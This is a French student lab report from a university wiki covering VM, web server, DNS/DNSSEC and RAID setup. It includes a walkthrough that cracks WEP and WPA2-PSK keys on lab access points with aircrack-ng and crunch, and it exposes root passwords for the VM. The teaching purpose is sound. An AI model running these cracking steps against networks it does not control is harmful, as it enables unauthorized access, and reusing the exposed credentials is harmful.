&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51574</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51574"/>
				<updated>2019-12-07T02:41:49Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Cassage WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
